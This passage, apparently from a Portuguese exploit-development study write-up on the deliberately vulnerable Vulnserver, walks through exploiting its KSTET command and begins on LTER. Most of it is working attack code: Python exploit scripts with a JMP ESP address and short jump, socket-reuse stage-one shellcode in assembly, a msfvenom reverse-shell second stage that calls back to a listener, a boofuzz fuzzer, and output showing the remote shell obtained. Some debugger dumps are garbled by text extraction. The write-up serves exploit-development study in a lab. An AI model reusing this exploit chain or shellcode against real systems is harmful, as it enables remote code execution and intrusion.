Sobrescrevemos o EIP com sucesso, vamos procurar um bom endereço de retorno para ESP.

| 21313111121212111 | - NUMBER OF DOLDTERS OF TYPE ' MAD ESD' : 3           |
|-------------------|---|
| <b>ØBADFØØD</b>   | [+] Results :   |
| 625011AF          | 0x625011af : jmp esp ( CPAGE_EXECUTE_READ) Lessfunc.  |
| 625011BB          | 0x625011bb : jmp esp ( CPAGE_EXECUTE_READ) Lessfunc.  |
| 62501107          | 0x625011c7 : jmp esp ( (PAGE_EXECUTE_READ) Lessfunc.  |
| 625011D3          | 0x625011d3 : jmp esp   (PAGE_EXECUTE_READ) [essfunc.  |
| 625011DF          | 0x625011df : jmp esp ( CPAGE_EXECUTE_READ) Lessfunc.  |
| 625011EB          | 0x625011eb : jmp esp   (PAGE_EXECUTE_READ) [essfunc.  |
| 625011F7          | 0x625011f7 : jmp esp ! (PAGE_EXECUTE_READ) [essfunc.  |
| 62501203          | 0x62501203 : jmp esp   ascii (PAGE_EXECUTE_READ) [ess |
| 62501205          | 0x62501205 : jmp esp   ascii (PAGE_EXECUTE_READ) [ess |
| ØBADFØØD          | Found a total of 9 pointers                           |
| ØBADFØØD          |   |
| ØBADFØØD          | [+] This mona.py action took 0:00:01.969000           |
| !mona j           | jmp -r esp  |

Encontramos nossos 9 bons endereços de retorno, podemos utilizar qualquer um, no meu caso utilizarei o 625011d3.

Vamos inserir o endereço de retorno no lugar de nossos "B" e monitorar o comportamento inserindo um breakpoint neste endereço.

xplkstet.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payload
offset = 206
# payload
payload = b"KSTET "
payload += b"A"*70
payload += b"\xd3\x11\x50\x62"
payload += b"C" * (offset - 70 - 4)
# criando conexao
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect((ip,porta))
s.recv(1024)
# enviando payload
print("Enviando payload ... ")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```
| 🗳 Immunity Debugger - 🖓 nserver.exe - [CPU - thread 00000F94]   | _                    | ð            | ×           |
|---|----------------------|--------------|-------------|
| C Eile View Debug Plugins ImmLib Options Window Help Jobs   |                      | -            | б×          |
| 🗁 🐝 📧 🔣 🐳 🕨 🕌 🕌 📲 📲 📲 📲 🚽 📲 lem twh cPk bzrs ? Immunity: Consulting Services Manager  |                      |              |             |
| 0000 EPCS 43 INC EEX A Registers (FPU)  | <                    | <            | <           |
| 0005F9C8         43         INC ERX         Registers (FPU)           0005F9C6         43         INC ERX         EAX 0005F9C6         SCI1 4B, "STET AAAAAAAAA           0005F9C6         43         INC ERX         EAX 0005F9C6         SCI1 4B, "STET AAAAAAAAA           0005F9C6         43         INC ERX         EAX 0005F9C6         SCI1 4B, "STET AAAAAAAAAA           0005F9C6         43         INC ERX         0005F9C6         SCI1 4B, "STET AAAAAAAAAA           0005F9C7         43         INC ERX         0005F9C6         SCI1 4B, "STET AAAAAAAAAA           0005F9C7         43         INC ERX         0005F9C6         SCI1 4B, "STET AAAAAAAAAA           0005F9C7         43         INC ERX         ENX 00000104         SCI1 4B, "STET AAAAAAAAAAA           0005F9C8         SCI1 4B, "STET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | <u>&lt;</u><br>аннан | <<br>AAAAAAA | ><br>199999 |
| EBA-00000104 SI4 empty g<br>SI5 empty g   |                      |              |             |
| Site emity a  |                      |              |             |
| 1000000000000000000000000000000000000   | T AAA                | AAAAA        | IAAL ¥      |
| lmona jmp -r esp  | _                    |              | -           |
|   | Pa                   | used         |             |

Caímos exatamente em nosso buffer de "C", porém temos somente 13 bytes para aproveitar, absolutamente nada nos termos de exploit, mas temos um buffer de 70 bytes de "A", o que também não é muita coisa, mas deixa espaço para sermos criativos.

Vamos calcular o salto para o buffer de "A" com o msf-nasm\_shell, temos um salto de 74 bytes para fazer (70 bytes de "A" + 4 bytes do JMP ESP).



Temos o short jump de \xeb\xb4. Vamos atualizar o script e monitorar.

xplkstet.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999  |
| # variaveis de payload<br>offset = 206   |
| <pre># payload<br/>payload = b"KSTET "<br/>payload += b"A"*70 # buffer inicial<br/>payload += b"\xd3\x11\x50\x62" # JMP ESP<br/>payload += b"\xeb\xb4" # short jump<br/>payload += b"\x90\x90" # padding do short jump<br/>payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer</pre> |
| # criando conexao<br>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>s.connect((ip,porta))<br>s.recv(1024)  |
| # enviando payload<br>print("Enviando payload")  |
| s.send(payload + b"\r\n")<br>s.close()   |
| print("Payload enviado.")  |



Caímos diretamente em nosso buffer de 70 bytes, mas e agora, o que fazer com 70 bytes?

Vamos pensar fora da caixa e dividir nosso exploit em dois estágios.

### ESTÁGIO 1: REUSO DE SOCKET

Quando exploramos o comando GTER, nós reaproveitamos uma parte da função WinSocket para diminuir o tamanho do nosso shellcode para 128 bytes.

Para conseguirmos encaixar um shellcode em 70 bytes, precisamos reaproveitar algo mais.

Vamos analizar uma forma simplificada do protocolo TCP:



Diferentes funções são chamadas em cada lado de uma conexão, mas podemos ver que a troca de dados ocorre no final.

O que precisamos fazer no primeiro estágio é criar uma nova chamada para a função recv() do Windows e reutilizar o socket já criado pelo vulnserver que recebe conexões na porta 9999. Após isto, redirecioná-lo para o nosso estágio 2 que contém o shellcode.

Vamos analisar a estrutura da recv() cuja documentação pode ser lida aqui.

int recv( SOCKET s, char \*buf, int len, int flags );

Onde:

- SOCKET s é o valor do socket handle;
- char \*buf é o apontador onde os dados recebidos serão armazenados;
- int len é a quantidade total de dados esperados;

- int flags modifica o valor do recv(), em nosso caso será 0.

Com o próprio Immunity Debbuger podemos fazer isso, clicando com o botão direito no painel de CPU e selecionando "Search for > All intermodular calls", lá vamos procurar pelo destino "WS2\_32.recv" e setar um breakpoint nele.

| 😂 🗞 🗏 📢 🗙 🕨 🔢 🖌 🖊 🖓 🐳 🗍 emt                                 | whcpkbzrs? Immunity: Consulting Services Manager |   |
|---|--|---|
| Address Disassembly   | Destination                                      | ~ |
| 004021AE CALL <jmp.&msvcrt.memset></jmp.&msvcrt.memset>     | msvcrt.memset                                    |   |
| 004021F0 CALL <jmp.&msvcrt.memset></jmp.&msvcrt.memset>     | nsucrt.menset                                    |   |
| 00402277 CALL <jmp.&msvcrt.memset></jmp.&msvcrt.memset>     | msvcrt.memset                                    |   |
| 00402342 CALL <jmp.&msvcrt.memset></jmp.&msvcrt.memset>     | msvcrt.memset                                    |   |
| 00402BC3 CALL <jmp.&msvcrt.memset></jmp.&msvcrt.memset>     | msvert.memset                                    |   |
| 00401735 CALL <jmp.&ws2_32.htons></jmp.&ws2_32.htons>       | WS2_32.ntohs                                     |   |
| 00401095 CALL <jmp.&msvcrtp_environ></jmp.&msvcrtp_environ> | msvcrtpenviron                                   |   |
| 0040107B CALL <jmp.&msvcrtp_fmode></jmp.&msvcrtp_fmode>     | msvcrtpfmode                                     |   |
| 0040133E CALL <jmp.&msvcrt.printf></jmp.&msvcrt.printf>     | msvert.printf                                    |   |
| 004013D4 CALL <jmp.&msvcrt.printf></jmp.&msvcrt.printf>     | msvert.printf                                    |   |
| 00401412 CALL (JMP.&msvcrt.printf)                          | msvcrt.printf                                    |   |
| 00401423 CALL <jmp.&msvcrt.printf></jmp.&msvcrt.printf>     | msvert.printf                                    |   |
| 00401489 CALL (JMP.&msvcrt.printf)                          | msvert.printf                                    |   |
| 0040152D CALL (JMP.&msvcrt.printf)                          | msvcrt.printf                                    |   |
| 00401593 CHLL (JMP.&msvcrt.printf)                          | msvert.printf                                    |   |
| 00401607 CALL (JMP. &msvcrt.printf)                         | msvcrt.printf                                    |   |
| 0040167H CHLL (JMP. &msvcrt.printf)                         | msvert.printf                                    |   |
| 00401688 GHLL (JMP.&msvcrt.printf)                          | msvort.printf                                    |   |
| 00401701 GHLL (JMP. amsvcrt.printf?                         | msocrt.printf                                    |   |
| 00401760 GHLL (JMP. &msvcrt.printf)                         | msocrt.ppintf                                    |   |
| 00401905 GHLL (JMP. &msvcrt.printf)                         | msvort.printf                                    |   |
| 00402423 GHLL (JMP. & SUCPT. printf?                        | msocrt.printf                                    |   |
| 00402494 GHLL (JMP. amsvcrt.printf)                         | msocrt.ppintf                                    |   |
| COACO ADO CALL (IND Second print)                           | msocrt.printf                                    |   |
| addatare call (IMP suce 22 mean)                            | MSOCIC. Drintr                                   |   |
| addatabe coll ( IMP suce 22 and)                            | W32_32_PECV                                      |   |
| GG4G19C2 COLL (IMD \$102 22 cond)                           | W22_32.sellu                                     |   |
| obiorios chun (din . anoz_52. sella/                        | 102_J2.senu                                      |   |

Agora criamos uma conexão simples a partir do nosso Kali utilizando o netcat.



No Immunity, podemos clicar duas vezes em nosso breakpoint e obter nossas informações.

| S Immunity Debugger Duinserver eye - [CPU - thread 00000F68, module vulnserv]   | - D X  |
|---|--|
| C File View Debug Plugins ImmLib Options Window Help Jobs   | - <del>6</del> ×   |
| S T K K K L L L L L L L L L L L L L L L L   | Code auditor and software assessment specialist needed   |
| State         State <th< td=""><td>Code Bandon and Sommark Specialist Needed           Registers (FPU)         &lt; &lt; &lt;</td>           Registers (PPU)         &lt; &lt; &lt;</th<>   | Code Bandon and Sommark Specialist Needed           Registers (FPU)         < < <  |
| Address Hex dump ASCII  | ST5 empty q<br>∧ 00C8F9C8 00000104 ♦☉ . Socket = 104   |
| 98463906       FF       FF       FF       98463906       986 <td< td=""><td>00C8F9CC         00163510         FS.         Buffer         00163510         Staffer         00163510         Staffer         0016310         Staffer         0016310         Staffer         0016310         Staffer         0016310         Staffer         Staffer         0016310         Staffer         <thstaffer< th=""> <thstaffer< th=""> <thst< td=""></thst<></thstaffer<></thstaffer<></td></td<> | 00C8F9CC         00163510         FS.         Buffer         00163510         Staffer         00163510         Staffer         0016310         Staffer         0016310         Staffer         0016310         Staffer         0016310         Staffer         Staffer         0016310         Staffer         Staffer <thstaffer< th=""> <thstaffer< th=""> <thst< td=""></thst<></thstaffer<></thstaffer<> |

Conseguimos os valores que precisávamos, o socket handle (104) e o endereço da recv() (0040252C).

Com os valores em mãos podemos escrever nosso Assembly.

estagio1.nasm:

| ; recv()  |  |
|---|--|
| sub esp. 64<br>nosso shellcode<br>xor ebx, ebx<br>push ebx<br>add bh, 4<br>push ebx<br>mov ebx, esp<br>add ebx, 64                          | ; Move o apontador ESP para o nosso buffer inicial evitando sobrescrever<br>; Zerando EBX<br>; Push no parametro 'flags' = 0<br>; Tornando EBX = 00000400 = 1024 bytes<br>; Push do parametro 'len' = 1024 bytes<br>; Movendo o apontador ESP para EBX<br>; Apontando o EBX para o ESP original para torna-lo apontador para |
| nosso estagio 2<br>push ebx<br>xor ebx, ebx<br>add ebx, 104<br>push ebx<br>mov eax, 0x4025<br>inserir o null byte<br>shr eax, 8<br>call eax | ; Push no parametro '*buf' = Apontador para ESP+0x64<br>; Zerando EBX<br>; Tornano EBX = 104, valor do socket handle<br>; push no parametro 's'<br>2c90 ; Precisamos mover o valor 0040252c para EAX, mas nao podemos<br>'0x00'<br>; Removendo 0x90 do EAX e transformando em 0x0040252c<br>; Cahamdno recv()                |

Tecnicamente preenchemos todos os parâmetros da função recv(), porém temos um problema: o valor do socket é um inteiro criado dinamicamente quando o programa roda.

Ou seja, enconramos o valor 104, mas na próxima execução ele vai mudar. Para passarmos por este problema, podemos fazer um update em nosso script para fazer um bruteforce do valor do socket iniciando em 0.

| · recv()            |  |
|---------------------|--|
| ,1007()             |  |
| sub esp. 64         | ; Move o apontador ESP para o nosso buffer inicial evitando sobrescrever |
| nosso shellcode     |  |
| xor edi, edi        | ; Zerando EDI  |
| socket_loop:        | ; Inicio do bruteforce   |
| xor ebx, ebx        | ; Zerando EBX  |
| push ebx            | ; Push no parametro 'flags' = 0  |
| add bh, 4           | ; Tornando EBX = 00000400 = 1024 bytes                                   |
| push ebx            | ; Push do parametro 'len' = 1024 bytes                                   |
| mov ebx, esp        | ; Movendo o apontador ESP para EBX                                       |
| add ebx, 64         | ; Apontando o EBX para o ESP original para torna-lo apontador para       |
| nosso estagio 2     |  |
| push ebx            | ; Push no parametro '*buf' = Apontador para ESP+0x64                     |
| inc edi             | ; Tornando EDI = EDI + 1   |
| push edi            | ; Push no socket handle = EDI + 1  |
| mov eax, 0x4025     | 52c90 ; Precisamos mover o valor 0040252c para EAX, mas nao podemos      |
| inserir o null byte | e '0x00'   |
| shr eax, 8          | ; Removendo 0x90 do EAX e transformando em 0x0040252c                    |
| call eax            | ; Cahamdno recv()  |
| test eax, eax       | ; Checando se a recv() foi teve sucesso                                  |
| Jnz socket_loop     | ; Se a recv() for mal sucedida, volta para o inicio do loop              |

Agora podemos compilar com o nasm.

\$ nasm -f elf32 estagio1.asm -o estagio1.o

E sanitizar:

\$ for i in \$(objdump -d estagio1.o -M intel | grep '^ ' | cut -f2); do echo -n '\\x'\$i;done \x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x47\x57\xb8\x9 0\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75

Temos um estágio 1 de apenas 34 bytes que cabe perfeitamente em nosso buffer, vamos atualizar nosso script.

xplkstet.py:

| #!/usr/bin/python3   |
|--|
| import socket  |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999  |
| # variaveis de payload<br>offset = 206   |
| estagio1 =<br>b"\x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x47\x57\xb8\x<br>90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3"  |
| <pre># payload<br/>payload = b"KSTET "<br/>payload += b"\x90" * 5 # padding do estagio 1<br/>payload += estagio1<br/>payload += b"A" * (70 - 5 - len(estagio1)) # buffer inicial<br/>payload += b"\xd3\x11\x50\x62" # JMP ESP<br/>payload += b"\xeb\xb4" # short jump<br/>payload += b"\x90\x90" # padding do short jump<br/>payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer</pre> |
| <pre># primeiro estagio s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,porta)) s.recv(1024) print("Enviando primeiro estagio\n") s.send(payload + b"\r\n") s.close()</pre>  |

### ESTÁGIO 2: INJETANDO O REVERSE SHELL

Nosso primeiro estágio já consumiu quase todo nosso pequeno buffer, como podemos enviar nosso próximo estágio?

Vamos usar lógica, o vulnserver é um servidor TCP, logo, ele aceita multiplas conexões, então podemos criar duas conexões distintas e enviar cada estágio em uma consexão.

Tudo que precisamos fazer agora é criar nosso reverse shell e enviá-lo logo após nosso primeiro estágio.

| #!/usr/bin/python3   |
|--|
| import socket<br>from time import sleep  |
| # variaveis de conexao<br>ip = "192.168.1.30"<br>porta = 9999  |
| # variaveis de payload<br>offset = 206   |
| estagio1 = b"\x83\xec\x40\x31\xff\x31\xdb\x53\x80\xc7\x04\x53\x89\xe3\x83\xc3\x40\x53\x47\x57\xb8\x90\x2c\x25\x40\xc1\xe8\x08\xff\xd0\x85\xc0\x75\xe3"   |
| # msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.17 lport=8443 exitfunc=thread -b '\x00' -v shellcode -f py   |
| shellcode = b""<br>shellcode += b"\xbf\x3c\xce\x60\x4f\xdb\xd3\xd9\x74\x24\xf4"  |
| <br>shellcode += b"\xbe\x93\x0b\x0b\xaf\x71\x2b\xb8\xd0\x53"   |
| estagio2 = shellcode + b"\x90" * (1024 - len(shellcode)) # preenchendo o restante do buffer de 1024 bytes com NOPs   |
| <pre># payload<br/>payload = b"KSTET "<br/>payload += b"\x90" * 5 # padding do estagio 1<br/>payload += estagio1<br/>payload += b"A" * (70 - 5 - len(estagio1)) # buffer inicial<br/>payload += b"\xd3\x11\x50\x62" # JMP ESP<br/>payload += b"\xeb\xb4" # short jump<br/>payload += b"\x90\x90" # padding do short jump<br/>payload += b"C" * (offset - 70 - 4 - 4) # complemento do buffer</pre> |
| <pre># primeiro estagio s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,porta)) s.recv(1024) print("Enviando primeiro estagio") s.send(payload + b"\r\n") # ativando o estagio 1 #s.recv(1024)</pre>   |
| sleep(3)   |
| print("Enviando segundo estagio")<br>s.send(estagio2)<br>print("Payload enviado, cheque o netcat!")  |

Agora vamos setar o netcat para ouvir a porta 8443, rodar o vulnserver fora do Immunity e testar nosso exploit.

| <pre>(hastur@hastur)-[~//estudos/binarios/windows/VulnServer]     python3 xplkstet.py Enviando primeiro estagio Enviando segundo estagio Payload enviado, cheque o netcat!</pre> |                                     |                           |                     |  |  |  |  |
|--|-------------------------------------|---------------------------|---------------------|--|--|--|--|
| <pre>(hastur@hastur)-[~/Desktop]</pre>   |                                     |                           |                     |  |  |  |  |
| C:\Users\su<br>cd \  | ite\Desktop                         | >cd \                     |                     |  |  |  |  |
| C:\>dir<br>dir<br>Volume in<br>Volume Ser<br>Directory   | drive C has<br>ial Number<br>of C:\ | no label.<br>is 2247-E2A2 | 2                   |  |  |  |  |
|  |                                     |                           |                     |  |  |  |  |
| 08/11/2021   | 04:31 AM                            | <dir></dir>               | nasm                |  |  |  |  |
| 12/07/2019   | 02:14 AM                            | <dir></dir>               | PerfLogs            |  |  |  |  |
| 08/11/2021   | 04:29 AM                            | <dir></dir>               | Program Files       |  |  |  |  |
| 08/11/2021   | 04:30 AM                            | <dir></dir>               | Program Files (x86) |  |  |  |  |
| 08/11/2021   | 04:30 AM                            | <dir></dir>               | Python27            |  |  |  |  |
| 08/11/2021   | 04:27 AM                            | <dir></dir>               | Users               |  |  |  |  |
| 08/11/2021   | 04:26 AM                            | <dir></dir>               | Windows             |  |  |  |  |
|  | 0 File(s) 0 bytes                   |                           |                     |  |  |  |  |
|  | 7 Dir(s                             | ) 31,963,90               | 06,048 bytes free   |  |  |  |  |
| c:\>   |                                     |                           |                     |  |  |  |  |

E conseguimos nosso reverse shell.

Neste comando, tivemos a experiência de um buffer estremamente pequeno, o que nos obrigou a pensar fora da caixa e reaproveitar funções do SO que já estão ativas no programa.

No próximo comando, vamos experimentar outra restrição.

## COMANDO LTER

O comando LTER, assim como os demais, recebe um argumento e dá uma resposta. Neste comando, temos uma situação parecida com as anteriores, porém encontramos uma situação problema com badchars.

```
File Actions Edit View Help

(hastur@hastur)-[~/.../estudos/binarios/windows/VulnServer]

$ nc -v 192.168.1.30 9999

192.168.1.30: inverse host lookup failed: Unknown host

(UNKNOWN) [192.168.1.30] 9999 (?) open

Welcome to Vulnerable Server! Enter HELP for help.

LTER teste

LTER COMPLETE

LTER 1234

LTER COMPLETE
```

### FUZZING

Vamos reaproveitar nosso segundo script de fuzzing e adaptá-lo para o comando LTER.

fuzzing2.py:

```
#!/usr/bin/python3
from boofuzz import *
import time
def get_banner(target, my_logger, session, *args, **kwargs):
  banner template = b"Welcome to Vulnerable Server! Enter HELP for help."
  try:
    banner = target.recv(1024)
  except:
    print("Nao foi possivel a conexao.")
    exit(1)
  my logger.log check("Recebendo banner...")
  if banner template in banner:
    my_logger.log_pass("Banner recebido!")
  else:
    my logger.log fail("Banner nao recebido")
    print("Banner nao recebido, saindo ... ")
    exit(1)
def main():
  session = Session(
       sleep time = 1,
       target = Target(
         connection=SocketConnection("192.168.1.30", 9999, proto='tcp')
         ),
  s initialize(name="Request")
  with s_block("Host-Line"):
    s_static('LTER', name="command name")
    s_delim(" ")
    s string("FUZZ", name="comando da variavel")
    s delim("\r\n")
  session.connect(s get("Request"), callback=get banner)
  session.fuzz()
if __name__ == "__main__":
  main()
```



Causamos um crash com o envio de 10.007 bytes constituidos de "/.", como sabemos que esta quantia foi exagerada das ultimas vezes, vamos iniciar o esboço do exploit com um buffer de 3.000 bytes e monitorar.

xpllter.py:

```
#!/usr/bin/python3
import socket
# variaveis de conexao
ip = "192.168.1.30"
porta = 9999
# variaveis de payoad
offset = 3000
# payload
payload = b"LTER /."
payload += b"A" * offset
# criando conexao
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect((ip,porta))
s.recv(1024)
print("Enviando payload...")
s.send(payload + b"\r\n")
s.close()
print("Payload enviado.")
```

Após iniciar o vulnserver no Immunity, vamos monitorar seu comportamento.

|                      |       |     |    |    |    |    |    |                  |     |                | ~ I  | Reg           | ister | 's (F    | PU>    |  |          |        | 1       | <    |
|----------------------|-------|-----|----|----|----|----|----|------------------|-----|----------------|------|---------------|-------|----------|--------|--|----------|--------|---------|------|
|                      |       |     |    |    |    |    |    |                  |     |                |      | EAX           | ØØDI  | F1E8     | ASCII  | "LTER  | Z.AA     | AAAAA  | AAAAAA  | AAAA |
|                      |       |     |    |    |    |    |    |                  |     |                | - 1  | ECX           | ØØBI  | 25504    |        |  |          |        |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      | DX            | NNNF  | INNNU    |        |  |          |        |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | - 8  | BX            | NNNN  | 10104    | ADOTI  |  |          |        |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | - 8  | 28 P<br>7 D D | 41 41 | 44 44    | H2CII  | нннн   | ннннн    | ннннн  | ннннн   | нннн |
|                      |       |     |    |    |    |    |    |                  |     |                | - 6  | 1 27          | 0040  | 11 8 4 8 | սոյան  | ewu 00   | 401.84   | 8      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | - 6  |               | 0040  | 11848    | unlus  | eru.00   | 40184    | 8      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      |               | 0010  |          | Valins |  | 1010     | .0     |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | 1    | <u>s</u> t p  | 4141  | .4141    |        |  |          |        |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      | : 0           | ES    | 002B     | 32bit  | Ø <fff< td=""><td>FFFFF</td><td>&gt;</td><td></td><td></td></fff<> | FFFFF    | >      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      | 21            | CS    | 0023     | 32bit  | Ø <fff< th=""><th>FFFFF</th><th>&gt;</th><th></th><th></th></fff<> | FFFFF    | >      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | - 14 | 0             | SS    | 002B     | 32bit  | Ø <fff< th=""><th>FFFFF</th><th>2</th><th></th><th></th></fff<>    | FFFFF    | 2      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | Ľ    | <u>[</u>      | DS    | 002B     | 32bit  | ØCFFF  | FFFFF    | 2      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      | 5 10          | FS    | 0053     | 32bit  | 20800  | ØCFFF    | 2      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | - 6  | 10            | 65    | 00ZB     | 32010  | OCFFF  | FFFFF    | )      |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      | у er<br>N GA  | Las   | + Eww    | EBBUB  | SHCCE  | 99 70    | IAAAAA | 001     |      |
|                      |       |     |    |    |    |    |    |                  |     |                |      |               | Las   |          | Linnon | _00001   |          |        |         |      |
|                      |       |     |    |    |    |    |    |                  |     |                | ~ P  | ſFL           | 0001  | .0246    | (N0,N  | B,E,BE   | , NS , F | Έ,GE,  | LE)     |      |
|                      |       |     |    |    |    |    | _  |                  | _   |                | - 9  | та            | emnt  | u a      |        |  |          |        |         |      |
| Address              | Hex d | ստք |    |    |    |    |    | ASCII            | ^   | 00DFF9C        | 3    | 414           | 1414  | L AAF    | IA .   |  |          |        |         |      |
| 00DFF9C8             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         |     | OODFF9C        | a    | 414           | 1414  |          | IH .   |  |          |        |         |      |
| 00DFF9D0             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         |     | MANEEON        | 4    | 414           | 1414  | L HHF    |        |  |          |        |         |      |
| WDFF9D8              | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         |     | 00DFF9D        | 2    | 414           | 1414  | 1 000    |        |  |          |        |         |      |
| <b>UUDFF9EU</b>      | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         |     | 00DFF9D        | è .  | 414           | 1414  | 1 AAA    | Â      |  |          |        |         |      |
| 00DFF9E8             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | нннннн           |     | <b>MADFF9E</b> | ă -  | 414           | 1414  | Î AAA    | iA .   |  |          |        |         |      |
| 00DFF7F0<br>AADEE0E0 | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | АНННННН          |     | ØØDFF9E4       | 4    | 414           | 1414  | L AAA    | IÂ .   |  |          |        |         |      |
| GODFFFAGG            | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | 00000000         |     | ØØDFF9E        | 3    | 414           | 1414  | L AAA    | A      |  |          |        |         | 22   |
| <b>MADEFANS</b>      | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | <u>AAAAAAAA</u>  |     | ØØDFF9E        | C    | 414           | 1414  | L AAA    | IÂ .   |  |          |        |         |      |
| 00DFFA10             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | <b>AAAAAAA</b> A |     | 00DFF9F        | 4    | 414           | 1414  | L AAA    | IA     |  |          |        |         |      |
| 00DFFA18             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         |     | 00DFF9F4       | 1    | 414           | 1414  | L AAA    | IA .   | A _+   |          | 1 4 /: | -l      |      |
| 00DFFA20             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         |     | UUDFF9F8       | 5    | 414           | 1414  | L AAA    | H      | ACTI   | vate     | vvin   | aows    |      |
| 00DFFA28             | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | AAAAAAAA         | V   | 00DFF9F        | 3    | 414           | 1414  |          | H      | Golto  | n Setti  | nas to | activat |      |
| MODERO 30            | 41 41 | 41  | 41 | 41 | 41 | 41 | 41 | 00000000         | - T | Dedilitered    | 4    | 414           | 1414  | L HHF    | IH     | 30 ננ  | ) Sell   | ngs to | activat |      |

Causamos o crash e sobrescrevemos ESP e EIP, o próximo passo é descobrir o offset correto para atingirmos o EIP, vamos usar o msf-patter\_create.

| <pre>(hastur@hastur)-[~//estudos/binarios/windows/VulnServer] \$ msf-pattern create -1 3000</pre>             |
|---|
| Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad         |
| 3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A         |
| g7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0         |
| AKIAK2AK3AK4AK5AK6AK7AK8AK9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An         |
| 4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7A         |
| g8ag9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1         |
| Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax         |
| 5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8B         |
| a9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2         |
| Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh         |
| 6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9B         |
| l0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3         |
| Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br         |
